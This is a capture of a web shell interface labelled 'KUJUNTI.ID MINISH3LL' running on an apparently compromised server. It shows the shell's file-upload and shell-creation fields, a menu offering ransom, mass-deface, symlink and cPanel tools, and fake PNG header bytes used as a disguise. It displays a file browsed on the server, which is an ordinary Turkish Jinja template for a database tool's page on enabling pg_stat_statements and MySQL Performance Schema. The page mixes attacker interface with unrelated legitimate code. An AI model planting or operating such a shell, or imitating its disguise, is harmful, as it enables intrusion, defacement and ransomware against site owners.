\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/templates/performance/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/templates/performance/missing_pgss.html


{% extends "base.html" %}

{% block content %}
<div class="container-fluid">
    <div class="d-flex justify-content-between align-items-center mb-3">
        <h1>
            <i class="fas fa-exclamation-triangle me-2"></i>
            {% if db_conn.db_type == 'postgresql' %}
                {{ _('pg_stat_statements Modülü Gerekli') }}
            {% elif db_conn.db_type in ['mysql', 'mariadb'] %}
                {{ _('Performance Schema Gerekli') }}
            {% else %}
                {{ _('Performans İzleme Modülü Gerekli') }}
            {% endif %}
        </h1>
        <div>
            <a href="{{ url_for('performance_dashboard') }}" class="btn btn-secondary">
                <i class="fas fa-arrow-left me-2"></i>
                {{ _('Geri') }}
            </a>
        </div>
    </div>
    
    <div class="row mb-4">
        <div class="col-lg-12">
            <div class="card">
                <div class="card-header">
                    <h5 class="card-title mb-0">{{ _('Sorgu Performans İzleme Modülü Eksik') }}</h5>
                </div>
                <div class="card-body">
                    <div class="alert alert-warning">
                        <i class="fas fa-exclamation-triangle me-2"></i>
                        {{ message or _('Veritabanı üzerinde performans izleme modülü etkin değil.') }}
                    </div>
                    
                    {% if db_conn.db_type == 'postgresql' %}
                        <!-- PostgreSQL için özel içerik -->
                        <p>
                            {{ _('pg_stat_statements modülü, PostgreSQL veritabanındaki sorgu performansını izlemek için gereklidir. Bu modül sayesinde:') }}
                        </p>
                        
                        <ul>
                            <li>{{ _('En çok kaynak tüketen sorguları tespit edebilirsiniz') }}</li>
                            <li>{{ _('Sorguların çalışma sürelerini ve çağrı sayılarını görebilirsiniz') }}</li>
                            <li>{{ _('Performans sorunlarını ve darboğazları belirleyebilirsiniz') }}</li>
                        </ul>
                        
                        <h4 class="mt-4">{{ _('Modülü Etkinleştirme') }}</h4>
                        
                        <p>
                            {{ _('Bu modülü etkinleştirmek için iki adım gereklidir:') }}
                        </p>
                        
                        <ol>
                            <li>
                                {{ _('PostgreSQL yapılandırma dosyasında (postgresql.conf) aşağıdaki ayarları yapın:') }}
                                <pre class="bg-light p-3 mt-2">
shared_preload_libraries = 'pg_stat_statements'
pg_stat_statements.track = all
pg_stat_statements.max = 10000
track_activity_query_size = 2048</pre>
                                <p class="small text-muted mt-2">
                                    {{ _('Not: Bu ayarları yapmak için PostgreSQL sunucusunu yeniden başlatmanız gerekecektir.') }}
                                </p>
                            </li>
                            <li>
                                {{ _('Veritabanında uzantıyı etkinleştirin. Aşağıdaki butona tıklayarak uzantıyı bu veritabanında etkinleştirmeyi deneyebilirsiniz:') }}
                                <form method="post" action="{{ url_for('enable_pgss', db_id=db_conn.id) }}" class="mt-3">
                                    <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
                                    <button type="submit" class="btn btn-primary">
                                        <i class="fas fa-plug me-2"></i>
                                        {{ _('pg_stat_statements Eklentisini Etkinleştir') }}
                                    </button>
                                </form>
                                <p class="small text-muted mt-2">
                                    {{ _('Not: Sadece uzantıyı etkinleştirmek yeterli olmayabilir. Sunucu yapılandırma değişiklikleri yapmadan sorgu istatistikleri eksik veya sınırlı olabilir.') }}
                                </p>
                            </li>
                        </ol>
                        
                        <div class="alert alert-info mt-3">
                            <i class="fas fa-info-circle me-2"></i>
                            {{ _('Daha fazla bilgi için PostgreSQL dokümantasyonuna bakın:') }}
                            <a href="https://www.postgresql.org/docs/current/pgstatstatements.html" target="_blank" rel="noopener noreferrer">
                                pg_stat_statements
                            </a>
                        </div>
                    
                    {% elif db_conn.db_type in ['mysql', 'mariadb'] %}
                        <!-- MySQL/MariaDB için özel içerik -->
                        <p>
                            {{ _('Performance Schema, MySQL/MariaDB veritabanındaki sorgu performansını izlemek için gereklidir. Bu özellik sayesinde:') }}
                        </p>
                        
                        <ul>
                            <li>{{ _('En çok kaynak tüketen sorguları tespit edebilirsiniz') }}</li>
                            <li>{{ _('Sorguların çalışma sürelerini ve çağrı sayılarını görebilirsiniz') }}</li>
                            <li>{{ _('Sunucu kaynak kullanımını izleyebilirsiniz') }}</li>
                            <li>{{ _('Performans sorunlarını ve darboğazları belirleyebilirsiniz') }}</li>
                        </ul>
                        
                        <h4 class="mt-4">{{ _('Performance Schema\'yı Etkinleştirme') }}</h4>
                        
                        <p>
                            {{ _('Bu özelliği etkinleştirmek için iki adım gereklidir:') }}
                        </p>
                        
                        <ol>
                            <li>
                                {{ _('MySQL yapılandırma dosyasında (my.cnf veya my.ini) aşağıdaki ayarları yapın:') }}
                                <pre class="bg-light p-3 mt-2">
[mysqld]
performance_schema = ON
performance_schema_max_digest_length = 1024
performance_schema_max_sql_text_length = 4096</pre>
                                <p class="small text-muted mt-2">
                                    {{ _('Not: Bu ayarları yapmak için MySQL/MariaDB sunucusunu yeniden başlatmanız gerekecektir.') }}
                                </p>
                            </li>
                            <li>
                                {{ _('Veritabanında Performance Schema\'yı etkinleştirin. Aşağıdaki butona tıklayarak bu veritabanında etkinleştirmeyi deneyebilirsiniz:') }}
                                <form method="post" action="{{ url_for('enable_performance_schema_route', db_id=db_conn.id) }}" class="mt-3">
                                    <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
                                    <button type="submit" class="btn btn-info">
                                        <i class="fas fa-plug me-2"></i>
                                        {{ _('Performance Schema\'yı Etkinleştir') }}
                                    </button>
                                </form>
                                <p class="small text-muted mt-2">
                                    {{ _('Not: Sadece dinamik olarak etkinleştirmek yeterli olmayabilir. Sunucu yapılandırma değişiklikleri yapmadan sorgu istatistikleri eksik veya sınırlı olabilir.') }}
                                </p>
                            </li>
                        </ol>
                        
                        <div class="alert alert-info mt-3">
                            <i class="fas fa-info-circle me-2"></i>
                            {{ _('Daha fazla bilgi için MySQL dokümantasyonuna bakın:') }}
                            <a href="https://dev.mysql.com/doc/refman/8.0/en/performance-schema.html" target="_blank" rel="noopener noreferrer">
                                MySQL Performance Schema
                            </a>
                        </div>
                    
                    {% else %}
                        <!-- Diğer veritabanları için genel içerik -->
                        <p>
                            {{ _('Veritabanı tipiniz için performans izleme henüz tam olarak desteklenmiyor.') }}
                        </p>
                        
                        <div class="alert alert-info mt-3">
                            <i class="fas fa-info-circle me-2"></i>
                            {{ _('Daha fazla bilgi için veritabanı tipinizin dokümantasyonuna başvurun.') }}
                        </div>
                    {% endif %}
                </div>
            </div>
        </div>
    </div>
</div>
{% endblock %}

© KUJUNTI.ID